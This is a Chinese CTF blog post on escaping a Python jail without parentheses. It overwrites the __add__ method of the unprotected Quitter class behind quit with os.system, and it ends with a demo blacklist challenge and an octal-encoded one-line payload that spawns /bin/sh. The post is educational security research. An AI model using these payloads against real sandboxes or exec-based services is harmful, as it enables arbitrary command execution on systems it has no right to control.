Python-sandbox bypass '(' and ')' to calling function

  |  

Python sandbox 逃逸是我入ctf 这个坑第一个接触的课题,当时这个考点有两种考法一个是ssti,另一个是python jail。但是随着探讨下来,Python sandbox 过滤掉() 两个括号还能否执行函数?是否还能import os 执行 /bin/sh这是个一直困扰我的问题。

前言

这个问题来源hack the box 一个flask 题目提到 一个奇怪的waf。这个waf 提到”(){}[]@” ,但是按照我们正常的思路,只要ban了{}了,ssti这路就不行。但是为什么要提到()? 于是我想到说不定python有方法做到,不用()就可以做到执行函数方法(执行__call__)。

object属性与内置函数

我们知道对象(ob) 是 Python 中对数据的抽象。 Python 程序中的所有数据都是由对象或对象间关系来表示的。同时,我们也知道 “x+y” 两变量相加,过程其实是将+转换调用type(x).__add__(x, y) 即调用x对象的父类的·__add__方法。

1
2
3
4
5
6
>>> x=1
>>> y=2
>>> type(x).__add__(x,y)
3
>>> x+y
3

所以我们若讲x的父类的__add__覆盖成我们想要的函数,那么就可以用+来执行函数。

1
2
3
4
5
>>> type(x).__add__=print
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
TypeError: can't set attributes of built-in/extension type 'int' # py 3.8.9
TypeError: cannot set '__add__' attribute of immutable type 'int'# py 3.10.7

但是我们很快得到一个报错,显示我们无法修改 int class 的__add__属性,但在不同版本中报错描述不同。(应该与3.10版本对python进行大规模改写优化有关)。其中在3.10报错中写到immutable type 'int',在3.8报错中更详细写的 built-in/extension type 'int'.所以,可以怀疑因为int是内置class(或builtins模块中class) 所以设置了保护属性 让 __add__属性 无法被修改。

因此,我们可以尝试自己定义一个class来尝试。

1
2
3
4
5
6
7
class x:
pass
y=x()
x.__add__=print

>>> y+'1'
>>> 1

可以看到我们自己定义的类 x 的 __add__被修改为了print ,在运行y+'1'时,成功执行了 print 方法.

可利用的内置函数

其实,经过查阅除了__add__外,还有很多内置函数可以让我们利用。

计算类内置函数

名称 作用 触发示例
object.__add__(self, other) 加法 x+y
object.__sub__(self, other) 减法 x-y
object.__mul__(self, other) 乘法 x*y
object.__truediv__(self, other) 除法 x/y
object.__floordiv__(self, other) 整除 x//y
object.__mod__(self, other) 取余 x%y
object.__pow__(self, other[, modulo]) 幂运算 x**y
object.__lshift__(self, other) 左移 x<<y
object.__rshift__(self, other) 右移 x>>y
object.__and__(self, other) x&y
object.__xor__(self, other) 异或 x^y
object.__ior__(self, other) x|y

比较内置函数

名称 作用 触发示例
__lt__ 小于 x<y
__le__ 小于等于 x<=y
__eq__ 等于 x==y
__ne__ 不等于 x!=y
__ge__ 大于等于 x>=y
__gt__ 等于 x>y

特殊内置函数

名称 作用 触发示例
__getitem__ 我们用中括号对象中元素的查询 x[y]
__getattr__ 获取对象的属性 x.y
__getattribute__ __getattr__未找到属性时调用 x.y

builtins中的内鬼

之前在对int.__add__进行覆盖时,发现触发了报错。这报错让我们知道 Built-in 中的属于是 无法修改的。但是我写了个小工具,来遍历builtins 模块.

1
2
3
4
5
import os
x=__builtins__.__dir__()
#x=os.__dir__()
for i in x:
print(str(getattr(__builtins__,i).__class__)+' name:'+i)

出乎意料地得到一个有意思的结果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
builtins name:__name__
Built-in functions, exceptions, and other objects.

Noteworthy: None is the `nil' object; Ellipsis represents `...' in slices. name:__doc__
name:__package__
<class '_frozen_importlib.BuiltinImporter'> name:__loader__
ModuleSpec(name='builtins', loader=<class '_frozen_importlib.BuiltinImporter'>, origin='built-in') name:__spec__
<built-in function __build_class__> name:__build_class__
<built-in function __import__> name:__import__
<built-in function abs> name:abs
<built-in function all> name:all
<built-in function any> name:any
<built-in function ascii> name:ascii
<built-in function bin> name:bin
<built-in function breakpoint> name:breakpoint
<built-in function callable> name:callable
<built-in function chr> name:chr
<built-in function compile> name:compile
<built-in function delattr> name:delattr
<built-in function dir> name:dir
<built-in function divmod> name:divmod
<built-in function eval> name:eval
<built-in function exec> name:exec
<built-in function format> name:format
<built-in function getattr> name:getattr
<built-in function globals> name:globals
<built-in function hasattr> name:hasattr
<built-in function hash> name:hash
<built-in function hex> name:hex
<built-in function id> name:id
<built-in function input> name:input
<built-in function isinstance> name:isinstance
<built-in function issubclass> name:issubclass
<built-in function iter> name:iter
<built-in function aiter> name:aiter
<built-in function len> name:len
<built-in function locals> name:locals
<built-in function max> name:max
<built-in function min> name:min
<built-in function next> name:next
<built-in function anext> name:anext
<built-in function oct> name:oct
<built-in function ord> name:ord
<built-in function pow> name:pow
<built-in function print> name:print
<built-in function repr> name:repr
<built-in function round> name:round
<built-in function setattr> name:setattr
<built-in function sorted> name:sorted
<built-in function sum> name:sum
<built-in function vars> name:vars
None name:None
Ellipsis name:Ellipsis
NotImplemented name:NotImplemented
False name:False
True name:True
<class 'bool'> name:bool
<class 'memoryview'> name:memoryview
<class 'bytearray'> name:bytearray
<class 'bytes'> name:bytes
<class 'classmethod'> name:classmethod
<class 'complex'> name:complex
<class 'dict'> name:dict
<class 'enumerate'> name:enumerate
<class 'filter'> name:filter
<class 'float'> name:float
<class 'frozenset'> name:frozenset
<class 'property'> name:property
<class 'int'> name:int
<class 'list'> name:list
<class 'map'> name:map
<class 'object'> name:object
<class 'range'> name:range
<class 'reversed'> name:reversed
<class 'set'> name:set
<class 'slice'> name:slice
<class 'staticmethod'> name:staticmethod
<class 'str'> name:str
<class 'super'> name:super
<class 'tuple'> name:tuple
<class 'type'> name:type
<class 'zip'> name:zip
True name:__debug__
<class 'BaseException'> name:BaseException
<class 'Exception'> name:Exception
<class 'TypeError'> name:TypeError
<class 'StopAsyncIteration'> name:StopAsyncIteration
<class 'StopIteration'> name:StopIteration
<class 'GeneratorExit'> name:GeneratorExit
<class 'SystemExit'> name:SystemExit
<class 'KeyboardInterrupt'> name:KeyboardInterrupt
<class 'ImportError'> name:ImportError
<class 'ModuleNotFoundError'> name:ModuleNotFoundError
<class 'OSError'> name:OSError
<class 'OSError'> name:EnvironmentError
<class 'OSError'> name:IOError
<class 'EOFError'> name:EOFError
<class 'RuntimeError'> name:RuntimeError
<class 'RecursionError'> name:RecursionError
<class 'NotImplementedError'> name:NotImplementedError
<class 'NameError'> name:NameError
<class 'UnboundLocalError'> name:UnboundLocalError
<class 'AttributeError'> name:AttributeError
<class 'SyntaxError'> name:SyntaxError
<class 'IndentationError'> name:IndentationError
<class 'TabError'> name:TabError
<class 'LookupError'> name:LookupError
<class 'IndexError'> name:IndexError
<class 'KeyError'> name:KeyError
<class 'ValueError'> name:ValueError
<class 'UnicodeError'> name:UnicodeError
<class 'UnicodeEncodeError'> name:UnicodeEncodeError
<class 'UnicodeDecodeError'> name:UnicodeDecodeError
<class 'UnicodeTranslateError'> name:UnicodeTranslateError
<class 'AssertionError'> name:AssertionError
<class 'ArithmeticError'> name:ArithmeticError
<class 'FloatingPointError'> name:FloatingPointError
<class 'OverflowError'> name:OverflowError
<class 'ZeroDivisionError'> name:ZeroDivisionError
<class 'SystemError'> name:SystemError
<class 'ReferenceError'> name:ReferenceError
<class 'MemoryError'> name:MemoryError
<class 'BufferError'> name:BufferError
<class 'Warning'> name:Warning
<class 'UserWarning'> name:UserWarning
<class 'EncodingWarning'> name:EncodingWarning
<class 'DeprecationWarning'> name:DeprecationWarning
<class 'PendingDeprecationWarning'> name:PendingDeprecationWarning
<class 'SyntaxWarning'> name:SyntaxWarning
<class 'RuntimeWarning'> name:RuntimeWarning
<class 'FutureWarning'> name:FutureWarning
<class 'ImportWarning'> name:ImportWarning
<class 'UnicodeWarning'> name:UnicodeWarning
<class 'BytesWarning'> name:BytesWarning
<class 'ResourceWarning'> name:ResourceWarning
<class 'ConnectionError'> name:ConnectionError
<class 'BlockingIOError'> name:BlockingIOError
<class 'BrokenPipeError'> name:BrokenPipeError
<class 'ChildProcessError'> name:ChildProcessError
<class 'ConnectionAbortedError'> name:ConnectionAbortedError
<class 'ConnectionRefusedError'> name:ConnectionRefusedError
<class 'ConnectionResetError'> name:ConnectionResetError
<class 'FileExistsError'> name:FileExistsError
<class 'FileNotFoundError'> name:FileNotFoundError
<class 'IsADirectoryError'> name:IsADirectoryError
<class 'NotADirectoryError'> name:NotADirectoryError
<class 'InterruptedError'> name:InterruptedError
<class 'PermissionError'> name:PermissionError
<class 'ProcessLookupError'> name:ProcessLookupError
<class 'TimeoutError'> name:TimeoutError
<built-in function open> name:open
Use quit() or Ctrl-D (i.e. EOF) to exit name:quit
Use exit() or Ctrl-D (i.e. EOF) to exit name:exit
Copyright (c) 2001-2022 Python Software Foundation.
All Rights Reserved.

Copyright (c) 2000 BeOpen.com.
All Rights Reserved.

Copyright (c) 1995-2001 Corporation for National Research Initiatives.
All Rights Reserved.

Copyright (c) 1991-1995 Stichting Mathematisch Centrum, Amsterdam.
All Rights Reserved. name:copyright
Thanks to CWI, CNRI, BeOpen.com, Zope Corporation and a cast of thousands
for supporting Python development. See www.python.org for more information. name:credits
Type license() to see the full license text name:license
Type help() for interactive help, or help(object) for help about object. name:help

quit() exit() licnese() help()四个函数,并没有显现”< xxx ‘xxxx’ >” 而是像被调用执行后返回一个字符串。

内鬼_sitebuiltins

我以quit为突破口,深入研究下python 手册与python 源码。

在python 手册内置常量(https://docs.python.org/zh-cn/3/library/constants.html#built-in-consts)这一节发现一个有意思的描述:

site 模块添加的常量

site 模块(在启动期间自动导入,除非给出 -S 命令行选项)将几个常量添加到内置命名空间。 它们对交互式解释器 shell 很有用,并且不应在程序中使用。

  • quit(code=None)

  • exit(code=None)

    当打印此对象时,会打印出一条消息,例如“Use quit() or Ctrl-D (i.e. EOF) to exit”,当调用此对象时,将使用指定的退出代码来引发 SystemExit

  • copyright

  • credits

    打印或调用的对象分别打印版权或作者的文本。

  • license

    当打印此对象时,会打印出一条消息“Type license() to see the full license text”,当调用此对象时,将以分页形式显示完整的许可证文本(每次显示一屏)。

quit 这些函数是用site模块添加的方法。

根据site模块,发现手册中提供了site模块的源码地址 Lib/site.py

在源码中发现了一个有意思的代码块:

1
2
3
4
5
6
7
8
9
10
11
12
13

def setquit():
"""Define new builtins 'quit' and 'exit'.
These are objects which make the interpreter exit when called.
The repr of each object contains a hint at how it works.
"""
if os.sep == '\\':
eof = 'Ctrl-Z plus Return'
else:
eof = 'Ctrl-D (i.e. EOF)'

builtins.quit = _sitebuiltins.Quitter('quit', eof)
builtins.exit = _sitebuiltins.Quitter('exit', eof)

builtins.quit居然是``_sitebuiltins.Quitter 类的实例。继续根据_sitebuiltins.Quitter`源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
class Quitter(object):
def __init__(self, name, eof):
self.name = name
self.eof = eof
def __repr__(self):
return 'Use %s() or %s to exit' % (self.name, self.eof)
def __call__(self, code=None):
# Shells like IDLE catch the SystemExit, but listen when their
# stdin wrapper is closed.
try:
sys.stdin.close()
except:
pass
raise SystemExit(code)

Quitter定义没有任何保护,于是我们考虑篡改它的属性。虽然没有__add__,但是我们强行加一个试试。

1
2
3
4
5
>>> import os
>>> quit.__class__.__add__=os.system
>>> quit+'/bin/sh'
$ ls
Desktop glibc-all-in-one Pictures Pwngdb Videos

好家伙,我们直接将__add__,篡改为的os.system.

意外收获

在看Quitter定义源码时,发现一个有意思的地方:

1
2
def __repr__(self):
return 'Use %s() or %s to exit' % (self.name, self.eof)

这和我们直接在python 交换行中输入quit 得到的东西很像。

查寻手册发现:

object.repr(self)

repr() 内置函数调用以输出一个对象的“官方”字符串表示。如果可能,这应类似一个有效的 Python 表达式,能被用来重建具有相同取值的对象(只要有适当的环境)。如果这不可能,则应返回形式如 <...some useful description...> 的字符串。返回值必须是一个字符串对象。如果一个类定义了 __repr__() 但未定义 __str__(),则在需要该类的实例的“非正式”字符串表示时也会使用 __repr__()

此方法通常被用于调试,因此确保其表示的内容包含丰富信息且无歧义是很重要的。

原莱我们输入对象名返回的值,如<class 'xxx'><built-in function xxxx>是通过调用__repr__ 方法即时返回的字符串。

那么我们只要修改类的__repr__ 方法,在输入该类实例变量名是就可以调用我们的方法。但,美中不足的是传参数不好控制。

后记

在测试中写了一道,算是对那个不求甚解的自己 的 一种记录吧…..(有其他解的大佬,欢迎分享)

1
2
3
4
5
6
7
8
9
import string 
line = input('>>> ')

blacklist = string.ascii_letters+"()%{}[]@ "
for item in blacklist:
if item in line.lower():
raise Exception()

exec(line)

Payload:

1
quit.__class__.__add__=__import__;quit.__class__.__add__=quit+'\157\163';quit.__class__.__add__=quit.__class__.__add__.system;quit+'\57\142\151\156\57\163\150'

参考文献

https://docs.python.org/zh-cn/3/reference/datamodel.html?highlight=__add__#

https://book.hacktricks.xyz/generic-methodologies-and-resources/python/bypass-python-sandboxes#command-execution-libraries

https://github.com/python/cpython/blob/3.11/Lib/site.py

文章目录
  1. 前言
  2. object属性与内置函数
    1. 可利用的内置函数
    2. 计算类内置函数
    3. 比较内置函数
    4. 特殊内置函数
  3. builtins中的内鬼
    1. 内鬼_sitebuiltins
  4. 由 site 模块添加的常量
    1. 意外收获
  • 后记
  • 参考文献
  • |